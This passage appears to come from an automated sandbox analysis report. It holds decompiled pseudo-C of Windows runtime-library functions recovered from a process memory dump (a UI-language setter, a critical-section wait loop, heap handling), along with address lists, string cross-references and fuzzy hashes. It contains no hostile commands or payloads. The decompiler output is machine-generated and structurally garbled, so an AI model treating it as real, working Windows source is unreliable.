											__eflags = _t170 & 0x00000301;
											if((_t170 & 0x00000301) == 0) {
												_t176 = _a8;
												__eflags = _t176;
												if(__eflags == 0) {
													L64:
													_t83 =  *[fs:0x18];
													_t177 = 0;
													__eflags =  *(_t83 + 0xfb8);
													if( *(_t83 + 0xfb8) != 0) {
														E04B276E2( *((intOrPtr*)( *[fs:0x18] + 0xfb8)));
														 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = 0;
													}
													 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = _v12;
													goto L15;
												} else {
													asm("sbb edx, edx");
													_t114 = E04BB8938(_t130, _t176, ( ~(_t170 & 4) & 0xffffffaf) + 0x55, _t170, _t176, __eflags);
													__eflags = _t114;
													if(_t114 < 0) {
														_push("*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!\n");
														E04B1B150();
													}
													_t116 = E04BB6D81(_t176,  &_v16);
													__eflags = _t116;
													if(_t116 >= 0) {
														__eflags = _v16 - 2;
														if(_v16 < 2) {
															L56:
															_t118 = E04B275CE(_v20, 5, 0);
															__eflags = _t118;
															if(_t118 < 0) {
																L67:
																_t130 = 0xc0000017;
																goto L32;
															} else {
																__eflags = _v12;
																if(_v12 == 0) {
																	goto L67;
																} else {
																	_t153 =  *0x4c08638; // 0x2f1c2f8
																	_t122 = L04B238A4(_t153, _t176, _v16, _t170 | 0x00000002, 0x1a, 5,  &_v12);
																	_t154 = _v12;
																	_t130 = _t122;
																	__eflags = _t130;
																	if(_t130 >= 0) {
																		_t123 =  *(_t154 + 4) & 0x0000ffff;
																		__eflags = _t123;
																		if(_t123 != 0) {
																			_t155 = _a12;
																			__eflags = _t155;
																			if(_t155 != 0) {
																				 *_t155 = _t123;
																			}
																			goto L64;
																		} else {
																			E04B276E2(_t154);
																			goto L41;
																		}
																	} else {
																		E04B276E2(_t154);
																		_t177 = 0;
																		goto L18;
																	}
																}
															}
														} else {
															__eflags =  *_t176;
															if( *_t176 != 0) {
																goto L56;
															} else {
																__eflags =  *(_t176 + 2);
																if( *(_t176 + 2) == 0) {
																	goto L64;
																} else {
																	goto L56;
																}
															}
														}
													} else {
														_t130 = 0xc000000d;
														goto L32;
													}
												}
												goto L35;
											} else {
												__eflags = _a8;
												if(_a8 != 0) {
													_t77 = 0xc000000d;
												} else {
													_v5 = 1;
													L04B4FCE3(_v20, _t170);
													_t177 = 0;
													__eflags = 0;
													L15:
													_t85 =  *[fs:0x18];
													__eflags =  *((intOrPtr*)(_t85 + 0xfc0)) - _t177;
													if( *((intOrPtr*)(_t85 + 0xfc0)) == _t177) {
														L18:
														__eflags = _t130;
														if(_t130 != 0) {
															goto L32;
														} else {
															__eflags = _v5 - _t130;
															if(_v5 == _t130) {
																goto L32;
															} else {
																_t86 =  *[fs:0x18];
																__eflags =  *((intOrPtr*)(_t86 + 0xfbc)) - _t177;
																if( *((intOrPtr*)(_t86 + 0xfbc)) != _t177) {
																	_t177 =  *( *( *[fs:0x18] + 0xfbc));
																}
																__eflags = _t177;
																if(_t177 == 0) {
																	L31:
																	__eflags = 0;
																	L04B270F0(_t170 | 0x00000030,  &_v32, 0,  &_v28);
																	goto L32;
																} else {
																	__eflags = _v24;
																	_t91 =  *(_t177 + 0x20);
																	if(_v24 != 0) {
																		 *(_t177 + 0x20) = _t91 & 0xfffffff9;
																		goto L31;
																	} else {
																		_t141 = _t91 & 0x00000040;
																		__eflags = _t170 & 0x00000100;
																		if((_t170 & 0x00000100) == 0) {
																			__eflags = _t141;
																			if(_t141 == 0) {
																				L74:
																				_t94 = _t91 & 0xfffffffd | 0x00000004;
																				goto L27;
																			} else {
																				_t177 = E04B4FD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					goto L42;
																				} else {
																					_t130 = E04B4FD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						_t68 = _t177 + 0x20;
																						 *_t68 =  *(_t177 + 0x20) & 0xffffffbf;
																						__eflags =  *_t68;
																						_t91 =  *(_t177 + 0x20);
																						goto L74;
																					}
																				}
																			}
																			goto L35;
																		} else {
																			__eflags = _t141;
																			if(_t141 != 0) {
																				_t177 = E04B4FD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					L42:
																					_t77 = 0xc0000001;
																					goto L33;
																				} else {
																					_t130 = E04B4FD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						 *(_t177 + 0x20) =  *(_t177 + 0x20) & 0xffffffbf;
																						_t91 =  *(_t177 + 0x20);
																						goto L26;
																					}
																				}
																				goto L35;
																			} else {
																				L26:
																				_t94 = _t91 & 0xfffffffb | 0x00000002;
																				__eflags = _t94;
																				L27:
																				 *(_t177 + 0x20) = _t94;
																				__eflags = _t170 & 0x00008000;
																				if((_t170 & 0x00008000) != 0) {
																					_t95 = _a12;
																					__eflags = _t95;
																					if(_t95 != 0) {
																						_t96 =  *_t95;
																						__eflags = _t96;
																						if(_t96 != 0) {
																							 *((short*)(_t177 + 0x22)) = 0;
																							_t40 = _t177 + 0x20;
																							 *_t40 =  *(_t177 + 0x20) | _t96 << 0x00000010;
																							__eflags =  *_t40;
																						}
																					}
																				}
																				goto L31;
																			}
																		}
																	}
																}
															}
														}
													} else {
														_t147 =  *( *[fs:0x18] + 0xfc0);
														_t106 =  *(_t147 + 0x20);
														__eflags = _t106 & 0x00000040;
														if((_t106 & 0x00000040) != 0) {
															_t147 = E04B4FD22(_t147);
															__eflags = _t147;
															if(_t147 == 0) {
																L41:
																_t130 = 0xc0000001;
																L32:
																_t77 = _t130;
																goto L33;
															} else {
																 *(_t147 + 0x20) =  *(_t147 + 0x20) & 0xffffffbf;
																_t106 =  *(_t147 + 0x20);
																goto L17;
															}
															goto L35;
														} else {
															L17:
															_t108 = _t106 | 0x00000080;
															__eflags = _t108;
															 *(_t147 + 0x20) = _t108;
															 *( *[fs:0x18] + 0xfc0) = _t147;
															goto L18;
														}
													}
												}
											}
											L33:
										}
									}
								}
							}
						}
						L35:
						return _t77;
					} else {
						 *_t75 = 0x4c07b80;
						 *((intOrPtr*)(_t75 + 4)) = _t134;
						 *_t134 = _t75;
						 *0x4c07b84 = _t75;
						_t73 = E04B2EB70(_t134, 0x4c07b60);
						if( *0x4c07b20 != 0) {
							_t73 =  *( *[fs:0x30] + 0xc);
							if( *((char*)(_t73 + 0x28)) == 0) {
								_t73 = E04B2FF60( *0x4c07b20);
							}
						}
						goto L5;
					}
				}
			}

0x04b4fab0
0x04b4fab2
0x04b4fab3
0x04b4fab4
0x04b4fabc
0x04b4fac0
0x04b4fb14
0x04b4fb17
0x04b4fac2
0x04b4fac8
0x04b4facd
0x04b4fad3
0x04b4fad3
0x04b4fadd
0x04b4fb18
0x04b4fb1b
0x04b4fb1d
0x04b4fb1e
0x04b4fb1f
0x04b4fb20
0x04b4fb21
0x04b4fb22
0x04b4fb23
0x04b4fb24
0x04b4fb25
0x04b4fb26
0x04b4fb27
0x04b4fb28
0x04b4fb29
0x04b4fb2a
0x04b4fb2b
0x04b4fb2c
0x04b4fb2d
0x04b4fb2e
0x04b4fb2f
0x04b4fb3a
0x04b4fb3b
0x04b4fb3e
0x04b4fb41
0x04b4fb44
0x04b4fb47
0x04b4fb4a
0x04b4fb4d
0x04b4fb53
0x04b8bdcb
0x04b8bdcb
0x04b4fb59
0x04b4fb5b
0x04b4fb5b
0x04b4fb5e
0x04b8bdd5
0x04b8bdd8
0x00000000
0x04b8bdda
0x00000000
0x04b8bdda
0x04b4fb64
0x04b4fb64
0x04b4fb64
0x04b4fb67
0x04b4fb6e
0x04b4fb70
0x04b4fb72
0x00000000
0x04b4fb78
0x04b4fb7a
0x04b4fb7a
0x04b4fb7d
0x04b4fb80
0x04b8bddf
0x04b8bde1
0x00000000
0x04b8bde3
0x00000000
0x04b8bde3
0x04b4fb86
0x04b4fb86
0x04b4fb86
0x04b4fb8b
0x04b4fb90
0x04b4fb92
0x04b4fb94
0x04b4fb9a
0x04b4fb9b
0x04b4fba1
0x04b8bde8
0x04b8bdeb
0x04b8bded
0x04b8beb5
0x04b8beb5
0x04b8bebb
0x04b8bebd
0x04b8bec3
0x04b8bed2
0x04b8bedd
0x04b8bedd
0x04b8beed
0x00000000
0x04b8bdf3
0x04b8bdfe
0x04b8be06
0x04b8be0b
0x04b8be0d
0x04b8be0f
0x04b8be14
0x04b8be19
0x04b8be20
0x04b8be25
0x04b8be27
0x04b8be35
0x04b8be39
0x04b8be46
0x04b8be4f
0x04b8be54
0x04b8be56
0x04b8bef8
0x04b8bef8
0x00000000
0x04b8be5c
0x04b8be5c
0x04b8be60
0x00000000
0x04b8be66
0x04b8be66
0x04b8be7f
0x04b8be84
0x04b8be87
0x04b8be89
0x04b8be8b
0x04b8be99
0x04b8be9d
0x04b8bea0
0x04b8beac
0x04b8beaf
0x04b8beb1
0x04b8beb3
0x04b8beb3
0x00000000
0x04b8bea2
0x04b8bea2
0x00000000
0x04b8bea2
0x04b8be8d
0x04b8be8d
0x04b8be92
0x00000000
0x04b8be92
0x04b8be8b
0x04b8be60
0x04b8be3b
0x04b8be3b
0x04b8be3e
0x00000000
0x04b8be40
0x04b8be40
0x04b8be44
0x00000000
0x00000000
0x00000000
0x00000000
0x04b8be44
0x04b8be3e
0x04b8be29
0x04b8be29
0x00000000
0x04b8be29
0x04b8be27
0x00000000
0x04b4fba7
0x04b4fba7
0x04b4fbab
0x04b8bf02
0x04b4fbb1
0x04b4fbb1
0x04b4fbb8
0x04b4fbbd
0x04b4fbbd
0x04b4fbbf
0x04b4fbbf
0x04b4fbc5
0x04b4fbcb
0x04b4fbf8
0x04b4fbf8
0x04b4fbfa
0x00000000
0x04b4fc00
0x04b4fc00
0x04b4fc03
0x00000000
0x04b4fc09
0x04b4fc09
0x04b4fc0f
0x04b4fc15
0x04b4fc23
0x04b4fc23
0x04b4fc25
0x04b4fc27
0x04b4fc75
0x04b4fc7c
0x04b4fc84
0x00000000
0x04b4fc29
0x04b4fc29
0x04b4fc2d
0x04b4fc30
0x04b8bf0f
0x00000000
0x04b4fc36
0x04b4fc38
0x04b4fc3b
0x04b4fc41
0x04b8bf17
0x04b8bf19
0x04b8bf48
0x04b8bf4b
0x00000000
0x04b8bf1b
0x04b8bf22
0x04b8bf24
0x04b8bf26
0x00000000
0x04b8bf2c
0x04b8bf37
0x04b8bf39
0x04b8bf3b
0x00000000
0x04b8bf41
0x04b8bf41
0x04b8bf41
0x04b8bf41
0x04b8bf45
0x00000000
0x04b8bf45
0x04b8bf3b
0x04b8bf26
0x00000000
0x04b4fc47
0x04b4fc47
0x04b4fc49
0x04b4fcb2
0x04b4fcb4
0x04b4fcb6
0x04b4fcdc
0x04b4fcdc
0x00000000
0x04b4fcb8
0x04b4fcc3
0x04b4fcc5
0x04b4fcc7
0x00000000
0x04b4fcc9
0x04b4fcc9
0x04b4fccd
0x00000000
0x04b4fccd
0x04b4fcc7
0x00000000
0x04b4fc4b
0x04b4fc4b
0x04b4fc4e
0x04b4fc4e
0x04b4fc51
0x04b4fc51
0x04b4fc54
0x04b4fc5a
0x04b4fc5c
0x04b4fc5f
0x04b4fc61
0x04b4fc63
0x04b4fc65
0x04b4fc67
0x04b4fc6e
0x04b4fc72
0x04b4fc72
0x04b4fc72
0x04b4fc72
0x04b4fc67
0x04b4fc61
0x00000000
0x04b4fc5a
0x04b4fc49
0x04b4fc41
0x04b4fc30
0x04b4fc27
0x04b4fc03
0x04b4fbcd
0x04b4fbd3
0x04b4fbd9
0x04b4fbdc
0x04b4fbde
0x04b4fc99
0x04b4fc9b
0x04b4fc9d
0x04b4fcd5
0x04b4fcd5
0x04b4fc89
0x04b4fc89
0x00000000
0x04b4fc9f
0x04b4fc9f
0x04b4fca3
0x00000000
0x04b4fca3
0x00000000
0x04b4fbe4
0x04b4fbe4
0x04b4fbe4
0x04b4fbe4
0x04b4fbe9
0x04b4fbf2
0x00000000
0x04b4fbf2
0x04b4fbde
0x04b4fbcb
0x04b4fbab
0x04b4fc8b
0x04b4fc8b
0x04b4fc8c
0x04b4fb80
0x04b4fb72
0x04b4fb5e
0x04b4fc8d
0x04b4fc91
0x04b4fadf
0x04b4fadf
0x04b4fae1
0x04b4fae4
0x04b4fae7
0x04b4faec
0x04b4faf8
0x04b4fb00
0x04b4fb07
0x04b4fb0f
0x04b4fb0f
0x04b4fb07
0x00000000
0x04b4faf8
0x04b4fadd

Strings

*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!, xrefs: 04B8BE0F

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: *** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!
API String ID: 0-865735534
Opcode ID: 94df58feff93530954498ad5959d67bf74c6b7d58a0536fdd8674939b677f2c2
Instruction ID: 1a54b9565272a3d7fa26b92a522ffb052d166ec0e2db4be8c8a232a1c1d4667e
Opcode Fuzzy Hash: 94df58feff93530954498ad5959d67bf74c6b7d58a0536fdd8674939b677f2c2
Instruction Fuzzy Hash: 55A10771B006069FEB25EF64C450B7AB3A5EF84715F0449EDE846DB681EB34F841EB90

Uniqueness

Uniqueness Score: -1.00%

Function 04B12D8A, Relevance: 1.4, Strings: 1, Instructions: 191
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E04B12D8A(void* __ebx, signed char __ecx, signed int __edx, signed int __edi) {
				signed char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _v52;
				void* __esi;
				void* __ebp;
				intOrPtr _t55;
				signed int _t57;
				signed int _t58;
				char* _t62;
				signed char* _t63;
				signed char* _t64;
				signed int _t67;
				signed int _t72;
				signed int _t77;
				signed int _t78;
				signed int _t88;
				intOrPtr _t89;
				signed char _t93;
				signed int _t97;
				signed int _t98;
				signed int _t102;
				signed int _t103;
				intOrPtr _t104;
				signed int _t105;
				signed int _t106;
				signed char _t109;
				signed int _t111;
				void* _t116;

				_t102 = __edi;
				_t97 = __edx;
				_v12 = _v12 & 0x00000000;
				_t55 =  *[fs:0x18];
				_t109 = __ecx;
				_v8 = __edx;
				_t86 = 0;
				_v32 = _t55;
				_v24 = 0;
				_push(__edi);
				if(__ecx == 0x4c05350) {
					_t86 = 1;
					_v24 = 1;
					 *((intOrPtr*)(_t55 + 0xf84)) = 1;
				}
				_t103 = _t102 | 0xffffffff;
				if( *0x4c07bc8 != 0) {
					_push(0xc000004b);
					_push(_t103);
					E04B597C0();
				}
				if( *0x4c079c4 != 0) {
					_t57 = 0;
				} else {
					_t57 = 0x4c079c8;
				}
				_v16 = _t57;
				if( *((intOrPtr*)(_t109 + 0x10)) == 0) {
					_t93 = _t109;
					L23();
				}
				_t58 =  *_t109;
				if(_t58 == _t103) {
					__eflags =  *(_t109 + 0x14) & 0x01000000;
					_t58 = _t103;
					if(__eflags == 0) {
						_t93 = _t109;
						E04B41624(_t86, __eflags);
						_t58 =  *_t109;
					}
				}
				_v20 = _v20 & 0x00000000;
				if(_t58 != _t103) {
					 *((intOrPtr*)(_t58 + 0x14)) =  *((intOrPtr*)(_t58 + 0x14)) + 1;
				}
				_t104 =  *((intOrPtr*)(_t109 + 0x10));
				_t88 = _v16;
				_v28 = _t104;
				L9:
				while(1) {
					if(E04B37D50() != 0) {
						_t62 = ( *[fs:0x30])[0x50] + 0x228;
					} else {
						_t62 = 0x7ffe0382;
					}
					if( *_t62 != 0) {
						_t63 =  *[fs:0x30];
						__eflags = _t63[0x240] & 0x00000002;
						if((_t63[0x240] & 0x00000002) != 0) {
							_t93 = _t109;
							E04BAFE87(_t93);
						}
					}
					if(_t104 != 0xffffffff) {
						_push(_t88);
						_push(0);
						_push(_t104);
						_t64 = E04B59520();
						goto L15;
					} else {
						while(1) {
							_t97 =  &_v8;
							_t64 = E04B4E18B(_t109 + 4, _t97, 4, _t88, 0);
							if(_t64 == 0x102) {
								break;
							}
							_t93 =  *(_t109 + 4);
							_v8 = _t93;
							if((_t93 & 0x00000002) != 0) {
								continue;
							}
							L15:
							if(_t64 == 0x102) {
								break;
							}
							_t89 = _v24;
							if(_t64 < 0) {
								L04B6DF30(_t93, _t97, _t64);
								_push(_t93);
								_t98 = _t97 | 0xffffffff;
								__eflags =  *0x4c06901;
								_push(_t109);
								_v52 = _t98;
								if( *0x4c06901 != 0) {
									_push(0);
									_push(1);
									_push(0);
									_push(0x100003);
									_push( &_v12);
									_t72 = E04B59980();
									__eflags = _t72;
									if(_t72 < 0) {
										_v12 = _t98 | 0xffffffff;
									}
								}
								asm("lock cmpxchg [ecx], edx");
								_t111 = 0;
								__eflags = 0;
								if(0 != 0) {
									__eflags = _v12 - 0xffffffff;
									if(_v12 != 0xffffffff) {
										_push(_v12);
										E04B595D0();
									}
								} else {
									_t111 = _v12;
								}
								return _t111;
							} else {
								if(_t89 != 0) {
									 *((intOrPtr*)(_v32 + 0xf84)) = 0;
									_t77 = E04B37D50();
									__eflags = _t77;
									if(_t77 == 0) {
										_t64 = 0x7ffe0384;
									} else {
										_t64 = ( *[fs:0x30])[0x50] + 0x22a;
									}
									__eflags =  *_t64;
									if( *_t64 != 0) {
										_t64 =  *[fs:0x30];
										__eflags = _t64[0x240] & 0x00000004;
										if((_t64[0x240] & 0x00000004) != 0) {
											_t78 = E04B37D50();
											__eflags = _t78;
											if(_t78 == 0) {
												_t64 = 0x7ffe0385;
											} else {
												_t64 = ( *[fs:0x30])[0x50] + 0x22b;
											}
											__eflags =  *_t64 & 0x00000020;
											if(( *_t64 & 0x00000020) != 0) {
												_t64 = E04B97016(0x1483, _t97 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
											}
										}
									}
								}
								return _t64;
							}
						}
						_t97 = _t88;
						_t93 = _t109;
						E04BAFDDA(_t97, _v12);
						_t105 =  *_t109;
						_t67 = _v12 + 1;
						_v12 = _t67;
						__eflags = _t105 - 0xffffffff;
						if(_t105 == 0xffffffff) {
							_t106 = 0;
							__eflags = 0;
						} else {
							_t106 =  *(_t105 + 0x14);
						}
						__eflags = _t67 - 2;
						if(_t67 > 2) {
							__eflags = _t109 - 0x4c05350;
							if(_t109 != 0x4c05350) {
								__eflags = _t106 - _v20;
								if(__eflags == 0) {
									_t93 = _t109;
									E04BAFFB9(_t88, _t93, _t97, _t106, _t109, __eflags);
								}
							}
						}
						_push("RTL: Re-Waiting\n");
						_push(0);
						_push(0x65);
						_v20 = _t106;
						E04BA5720();
						_t104 = _v28;
						_t116 = _t116 + 0xc;
						continue;
					}
				}
			}

0x04b12d8a
0x04b12d8a
0x04b12d92
0x04b12d96
0x04b12d9e
0x04b12da0
0x04b12da3
0x04b12da5
0x04b12da8
0x04b12dab
0x04b12db2
0x04b6f9aa
0x04b6f9ab
0x04b6f9ae
0x04b6f9ae
0x04b12db8
0x04b12dc2
0x04b6f9b9
0x04b6f9be
0x04b6f9bf
0x04b6f9bf
0x04b12dcf
0x04b6f9c9
0x04b12dd5
0x04b12dd5
0x04b12dd5
0x04b12dde
0x04b12de1
0x04b12e70
0x04b12e72
0x04b12e72
0x04b12de7
0x04b12deb
0x04b12e7c
0x04b12e83
0x04b12e85
0x04b12e8b
0x04b12e8d
0x04b12e92
0x04b12e92
0x04b12e85
0x04b12df1
0x04b12df7
0x04b12df9
0x04b12df9
0x04b12dfc
0x04b12dff
0x04b12e02
0x00000000
0x04b12e05
0x04b12e0c
0x04b6f9d9
0x04b12e12
0x04b12e12
0x04b12e12
0x04b12e1a
0x04b6f9e3
0x04b6f9e9
0x04b6f9f0
0x04b6f9f6
0x04b6f9f8
0x04b6f9f8
0x04b6f9f0
0x04b12e23
0x04b6fa02
0x04b6fa03
0x04b6fa05
0x04b6fa06
0x00000000
0x04b12e29
0x04b12e29
0x04b12e2e
0x04b12e34
0x04b12e3e
0x00000000
0x00000000
0x04b12e44
0x04b12e47
0x04b12e4d
0x00000000
0x00000000
0x04b12e4f
0x04b12e54
0x00000000
0x00000000
0x04b12e5a
0x04b12e5f
0x04b12e9a
0x04b12ea4
0x04b12ea5
0x04b12ea8
0x04b12eaf
0x04b12eb2
0x04b12eb5
0x04b6fae9
0x04b6faeb
0x04b6faed
0x04b6faef
0x04b6faf7
0x04b6faf8
0x04b6fafd
0x04b6faff
0x04b6fb04
0x04b6fb04
0x04b6faff
0x04b12ec0
0x04b12ec4
0x04b12ec6
0x04b12ec8
0x04b6fb14
0x04b6fb18
0x04b6fb1e
0x04b6fb21
0x04b6fb21
0x04b12ece
0x04b12ece
0x04b12ece
0x04b12ed7
0x04b12e61
0x04b12e63
0x04b6fa6b
0x04b6fa71
0x04b6fa76
0x04b6fa78
0x04b6fa8a
0x04b6fa7a
0x04b6fa83
0x04b6fa83
0x04b6fa8f
0x04b6fa91
0x04b6fa97
0x04b6fa9d
0x04b6faa4
0x04b6faaa
0x04b6faaf
0x04b6fab1
0x04b6fac3
0x04b6fab3
0x04b6fabc
0x04b6fabc
0x04b6fac8
0x04b6facb
0x04b6fadf
0x04b6fadf
0x04b6facb
0x04b6faa4
0x04b6fa91
0x04b12e6f
0x04b12e6f
0x04b12e5f
0x04b6fa13
0x04b6fa15
0x04b6fa17
0x04b6fa1f
0x04b6fa21
0x04b6fa22
0x04b6fa25
0x04b6fa28
0x04b6fa2f
0x04b6fa2f
0x04b6fa2a
0x04b6fa2a
0x04b6fa2a
0x04b6fa31
0x04b6fa34
0x04b6fa36
0x04b6fa3c
0x04b6fa3e
0x04b6fa41
0x04b6fa43
0x04b6fa45
0x04b6fa45
0x04b6fa41
0x04b6fa3c
0x04b6fa4a
0x04b6fa4f
0x04b6fa51
0x04b6fa53
0x04b6fa56
0x04b6fa5b
0x04b6fa5e
0x00000000
0x04b6fa5e
0x04b12e23

Strings

RTL: Re-Waiting, xrefs: 04B6FA4A

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: RTL: Re-Waiting
API String ID: 0-316354757
Opcode ID: 2ed59b7dab56bf71e8eaf0471ffe4ac813b836329b174a19c95bb938123b09fb
Instruction ID: 727bc89015bbfceb0d6a103b929f480b84c1c2d950228c573dcbe82951428970
Opcode Fuzzy Hash: 2ed59b7dab56bf71e8eaf0471ffe4ac813b836329b174a19c95bb938123b09fb
Instruction Fuzzy Hash: CA613771B00644AFEB35DF68D880B7E77B5EB44328F5446E9D812A72E0D738B9429781

Uniqueness

Uniqueness Score: -1.00%

Function 04BE0EA5, Relevance: 1.4, Strings: 1, Instructions: 153
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E04BE0EA5(void* __ecx, void* __edx) {
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				unsigned int _v32;
				signed int _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr _v64;
				void* __ebx;
				void* __edi;
				signed int _t58;
				unsigned int _t60;
				intOrPtr _t62;
				char* _t67;
				char* _t69;
				void* _t80;
				void* _t83;
				intOrPtr _t93;
				intOrPtr _t115;
				char _t117;
				void* _t120;

				_t83 = __edx;
				_t117 = 0;
				_t120 = __ecx;
				_v44 = 0;
				if(E04BDFF69(__ecx,  &_v44,  &_v32) < 0) {
					L24:
					_t109 = _v44;
					if(_v44 != 0) {
						E04BE1074(_t83, _t120, _t109, _t117, _t117);
					}
					L26:
					return _t117;
				}
				_t93 =  *((intOrPtr*)(__ecx + 0x3c));
				_t5 = _t83 + 1; // 0x1
				_v36 = _t5 << 0xc;
				_v40 = _t93;
				_t58 =  *(_t93 + 0xc) & 0x40000000;
				asm("sbb ebx, ebx");
				_t83 = ( ~_t58 & 0x0000003c) + 4;
				if(_t58 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t93);
					_push(0xffffffff);
					_t80 = E04B59730();
					_t115 = _v64;
					if(_t80 < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t115) {
						_push(_t93);
						E04BDA80D(_t115, 1, _v20, _t117);
						_t83 = 4;
					}
				}
				if(E04BDA854( &_v44,  &_v36, _t117, 0x40001000, _t83, _t117,  *((intOrPtr*)(_t120 + 0x34)),  *((intOrPtr*)(_t120 + 0x38))) < 0) {
					goto L24;
				}
				_t60 = _v32;
				_t97 = (_t60 != 0x100000) + 1;
				_t83 = (_v44 -  *0x4c08b04 >> 0x14) + (_v44 -  *0x4c08b04 >> 0x14);
				_v28 = (_t60 != 0x100000) + 1;
				_t62 = _t83 + (_t60 >> 0x14) * 2;
				_v40 = _t62;
				if(_t83 >= _t62) {
					L10:
					asm("lock xadd [eax], ecx");
					asm("lock xadd [eax], ecx");
					if(E04B37D50() == 0) {
						_t67 = 0x7ffe0380;
					} else {
						_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t67 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						E04BD138A(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v36, 0xc);
					}
					if(E04B37D50() == 0) {
						_t69 = 0x7ffe0388;
					} else {
						_t69 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
					}
					if( *_t69 != 0) {
						E04BCFEC0(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v32);
					}
					if(( *0x4c08724 & 0x00000008) != 0) {
						E04BD52F8( *((intOrPtr*)(_t120 + 0x3c)),  *((intOrPtr*)(_t120 + 0x28)));
					}
					_t117 = _v44;
					goto L26;
				}
				while(E04BE15B5(0x4c08ae4, _t83, _t97, _t97) >= 0) {
					_t97 = _v28;
					_t83 = _t83 + 2;
					if(_t83 < _v40) {
						continue;
					}
					goto L10;
				}
				goto L24;
			}

0x04be0eb7
0x04be0eb9
0x04be0ec0
0x04be0ec2
0x04be0ecd
0x04be105b
0x04be105b
0x04be1061
0x04be1066
0x04be1066
0x04be106b
0x04be1073
0x04be1073
0x04be0ed3
0x04be0ed6
0x04be0edc
0x04be0ee0
0x04be0ee7
0x04be0ef0
0x04be0ef5
0x04be0efa
0x04be0efc
0x04be0efd
0x04be0f03
0x04be0f04
0x04be0f06
0x04be0f07
0x04be0f09
0x04be0f0e
0x04be0f14
0x04be0f23
0x04be0f2d
0x04be0f34
0x04be0f34
0x04be0f14
0x04be0f52
0x00000000
0x00000000
0x04be0f58
0x04be0f73
0x04be0f74
0x04be0f79
0x04be0f7d
0x04be0f80
0x04be0f86
0x04be0fab
0x04be0fb5
0x04be0fc6
0x04be0fd1
0x04be0fe3
0x04be0fd3
0x04be0fdc
0x04be0fdc
0x04be0feb
0x04be1009
0x04be1009
0x04be1015
0x04be1027
0x04be1017
0x04be1020
0x04be1020
0x04be102f
0x04be103c
0x04be103c
0x04be1048
0x04be1050
0x04be1050
0x04be1055
0x00000000
0x04be1055
0x04be0f88
0x04be0f9e
0x04be0fa2
0x04be0fa9
0x00000000
0x00000000
0x00000000
0x04be0fa9
0x00000000

Strings

`, xrefs: 04BE0F16

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: aac2b6d7077f08636649fddefc949fe8594e50d650dd82def1b75b8f3b4ecf53
Instruction ID: dbf95d56fa7d66c1ad5c7048e286dda163e2deb1446edfde3c3c3a8564a41891
Opcode Fuzzy Hash: aac2b6d7077f08636649fddefc949fe8594e50d650dd82def1b75b8f3b4ecf53
Instruction Fuzzy Hash: 9151DE702043429FE725DF2AD880B2BB7E5EBC4314F1449ACF99697291DB70F805CB62

Uniqueness

Uniqueness Score: -1.00%

Function 04B4F0BF, Relevance: 1.4, Strings: 1, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E04B4F0BF(signed short* __ecx, signed short __edx, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v44;
				char _v52;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v72;
				void* _t51;
				void* _t58;
				signed short _t82;
				short _t84;
				signed int _t91;
				signed int _t100;
				signed short* _t103;
				void* _t108;
				intOrPtr* _t109;

				_t103 = __ecx;
				_t82 = __edx;
				_t51 = E04B34120(0, __ecx, 0,  &_v52, 0, 0, 0);
				if(_t51 >= 0) {
					_push(0x21);
					_push(3);
					_v56 =  *0x7ffe02dc;
					_v20 =  &_v52;
					_push( &_v44);
					_v28 = 0x18;
					_push( &_v28);
					_push(0x100020);
					_v24 = 0;
					_push( &_v60);
					_v16 = 0x40;
					_v12 = 0;
					_v8 = 0;
					_t58 = E04B59830();
					_t87 =  *[fs:0x30];
					_t108 = _t58;
					L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v72);
					if(_t108 < 0) {
						L11:
						_t51 = _t108;
					} else {
						_push(4);
						_push(8);
						_push( &_v36);
